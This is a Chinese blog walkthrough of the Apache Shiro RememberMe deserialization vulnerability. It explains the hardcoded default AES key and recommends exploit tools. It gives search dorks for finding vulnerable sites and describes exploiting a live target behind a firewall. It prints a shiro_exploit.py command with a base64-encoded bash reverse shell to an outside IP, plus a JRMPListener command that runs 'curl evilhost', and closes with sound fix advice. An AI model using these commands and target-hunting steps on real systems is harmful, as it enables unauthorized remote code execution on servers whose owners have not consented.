Apache Shiro反序列化漏洞初学就深入研究+实战

                  Apache Shiro反序列化漏洞初学就深入研究+实战

  • 本人心得.

        这玩意儿咋说呢!话说在朝阳初升,春日暖阳缓缓升起的时候,在日常流量分析中发现了一个异常流量,经过与度娘私磨半晌才弄明白原来这个包是属于Apache Shiro框架,但历尽千辛万苦,使用已知网络上所有现有的工具都能检测到某网站存在该漏洞,可就是利用漏洞getshell的时候不成功,好苦恼!

  • Apache Shiro是啥呢?

       大家可自行百度、谷歌,我想肯定比我说的明白清楚。

       Apache Shiro是一个强大且易用的Java安全框架,执行身份验证、授权、密码和会话管理。使用Shiro的易于理解的API,您可以快速、轻松地获得任何应用程序,从最小的移动应用程序到最大的网络和企业应用程序。2016年,网络中曝光1.2.4以前的版本存在反序列化漏洞。吐槽:话说该漏洞已经曝光几年,实战中仍然比较实用。花了点时间研究了下,并根据网络上的利用脚本进行检测攻击,企图不明。

  • Apache Shiro反序列漏洞是咋回事儿?

       在Apache Shiro框架中登陆页面存在"RememberMe"记住账号功能,在使用账号密码登陆成功后会生成经过加密并编码的cookie。cookie的key为Remember,cookie的值是经过对相关信息进行序列化,然后使用aes加密,最后在使用base64编码处理形成的。

       简单的来说在服务端接收cookie值时,会有:

  1. 检索RememberMe中cookie的值;
  2. 读出我们传出的cookie,进行base64解码;
  3. 然后在将解码后的值进行AES解密(加密密钥硬编码:);
//啥是硬编码呢?百度示例如下
//任何可访问该代码的人都能访问加密密钥。一旦应用程序发布,除非对程序进行修补,否则将无法更改加密密钥。雇员可以利用手中掌握的信息访问权限入侵系统。更糟糕的是,如果攻击者可以访问应用程序的可执行文件,就可以提取加密密钥值。
private static final String encryptionKey = "lakdsljkalkjlksdfkl"; byte[] keyBytes = encryptionKey.getBytes(); SecretKeySpec key = new SecretKeySpec(keyBytes, "AES"); Cipher encryptCipher = Cipher.getInstance("AES"); encryptCipher.init(Cipher.ENCRYPT_MODE, key);

     4.反序列化(并且存在一个预设秘Base64.decode(“kPH+bIxk5D2deZiIxcaaaA==”);)。

  • 初学+检测与利用.
  1. 漏洞利用条件。

由于使用来aes加密,要想成功利用漏洞则需要获取aes的加密密钥,而在shiro的1.2.4之前版本中使用的是硬编码。其默认密钥的base64编码后的值为"kPH+bIxk5D2deZiIxcaaaA=="。这里就可以通过构造恶意的序列化对象进行编码,加密,然后作为cookie加密发送,服务端接收后会解密并触发反序列化漏洞。

       如何让获取密钥:官方目前已经更新了许多版本,但并没有反序列化漏洞本身解决,而是通过去掉硬编码的密钥,使其每次生成一个密钥来解决该漏洞。但是,目前一些开源系统、教程范例代码都使用来固定的编码,这里我们可以大佬分享的github上已知密钥,站在巨人的肩膀上起飞就行了,稳得一匹。 

2.如何检测与如何利用


2.1 漏洞复现

a.搭建环境

使用docker环境直接拉取镜像,环境搭建成功的截图

 本次更新主要是添加Shiro721,相对于Shiro550它更有难度,可能面对未知的key,并且已知的漏洞利用工具均无法复现成功,于是乎将深入的连接一下该漏洞。rememberMe cookie通过AES-128-CBC模式加密,易受到Padding Oracle攻击。利用构造rememberMe来进行攻击。

结合JRMP gadget使用,同时在1.2.4版本后,shiro已经更换 AES-CBC AES-CBC AES-GCM AES-GCM ,无法再通过Padding Oracle遍历key。

b.漏洞验证

利用搭建好的环境,在登陆时勾选rememberMe选项,使用burpSuite获取数据包头。

在上图中有两个被标记的部分,在真实的环境中有可能在返回包内不会存在Set-Cookie字段,尝试在请求包内的Cookie字段内添加rememberMe内容再发送请求确认返回包内是否会有rememberMe=deleteMe,如果有则存在漏洞。

漏洞利用的第一步便是获取服务端使用的的KEY,这里推荐一个工具【https://github.com/Ares-X/shiro-exploit

b.反弹shell 

在反弹shell的时候需要加密shell,使用在线加密,地址【http://jackson-t.ca/runtime-exec-payloads.html

 python .\shiro_exploit.py -t 3 -u http://192.168.204.142 -p "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8zOS4xMDIuOTIuNDEvNTAwNTAgMD4mMQ==}|{base64,-d}|{bash,-i}"
# python版本是python 3

 c.总结

java反序列化需要使用的工具(ysoserial),网上多能搜到源码,需要使用maven进行打包,但是在打包的过程中出现各种问题,就暂时放弃了,大佬已经制作了很多的工具,我差不多找了10个工具左右,比较好用的有两个推荐给大家【ShiroExploit.V2.51】【shiro_tool】。个人建议如果是复现还是从原理上多接触一下,要是在真实的环境中这两个工具我觉得非常好用。

第一个工具地址:https://github.com/feihong-cs/ShiroExploit-Deprecated

第二个工具使用地址:https://github.com/wyzxxz/shiro_rce_tool

2.2 实战验证

     a.目标发现

使用Wireshark、Fiddler、Burp Suite发现。本次实战中本人使用Burp Suite抓包工具中Shrio框架的特征是登录页面的cookie中存在remeberMe=deleteMe(失败时返回的值)的内容。通过该特征发现Shiro的系统有几种方式:

使用空间搜索引擎fofa.so  shodan   zoomeye来发现目标。 

 

//这里列出搜索关键词或者文件路径:
//github搜索关键词:
securityManager.rememberMeManager.cipherKey
cookieRememberMeManager.setCipherKey
setCipherKey(Base64.decode
//配置文件路径或者名
WEB-INF/shiro.ini
ShiroConfig.java
//google搜索
cookieRememberMeManager.setCipherKey

b.漏洞检测 

前提:需要python环境+jdk1.8以上

    使用工具检测KEY

通过ceye.io平台,当然使用dnslog、burp等各位趁手的兵器即可,使用检测

利用ysererial工具中的URLDNS这个Gadget,并结合dnslog平台实现入侵检测。突破利用则可以选择Gadget和参数,增强功能。

详情请点击:https://github.com/insightglacier/Shiro_exploit

python2 shiro_exploit.py -u http://xx.xx.xx.xx/ -t 3 -p "ping -c 2 {xxxx.ceye.io}" -k "kPH + bIxk5D2deZiIxcaaaA =="

在执行时会获取ceye.io的域名替换 {xxxx.ceye.io}这个值。也可以直接使用python2 shiro_exploit.py -u http://xx.xx.xx.xx/ -t 3

       执行结果(实战过程中目标存在防火墙把ceye测试给拉黑了,所以用的dnslog,效果一样,存在解析就表示目的达成了):

 

因为目标系统存在防火墙,防护措施比较强,所以找了很多的

引用:

根据大牛的话,利用可以采用JRMP的方式。也可以根据检测出来的gadge来进行利用。

服务器:

java -cp ysoserial-master-SNAPSHOT.jar ysoserial.exploit.JRMPListener 1099 CommonsCollections5'curl evilhost / shell –o shell'

本地:

python shiro_exploit.py -u http:// target / -t 2 -g JRMPClient -p“ remote_host:1099” -k“ kPH + bIxk5D2deZiIxcaaaA ==”

       工具使用过程产生的问题(这是确实淌过的坑,要不是遇到高人就放弃了): 

      1.python使用问题:

       运行时出现没有名为“ Crypto”的模块

      运行如下命令:

pip uninstall crypto pycryptodome
pip install pycryptodome

     python安装目录下的\ Lib \ site-packages,将加密文件夹的名字改成Crypto。

  • 修复建议.
  1. 不要使用硬编码,不要使用硬编码,不要使用硬编码。
  2. 升级shiro到1.2.5及以上
  3. 在配置里配置了密钥,请一定不要使用网上的密钥,一定不要!!请自己base64一个AES的密钥,或者利用官方提供的方法生成密钥:org.apache.shiro.crypto.AbstractSymmetricCipherService#generateNewKey()
  • 向大佬Study study...

https://bacde.me/post/Apache-Shiro-Deserialize-Vulnerability/#检测与利用

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值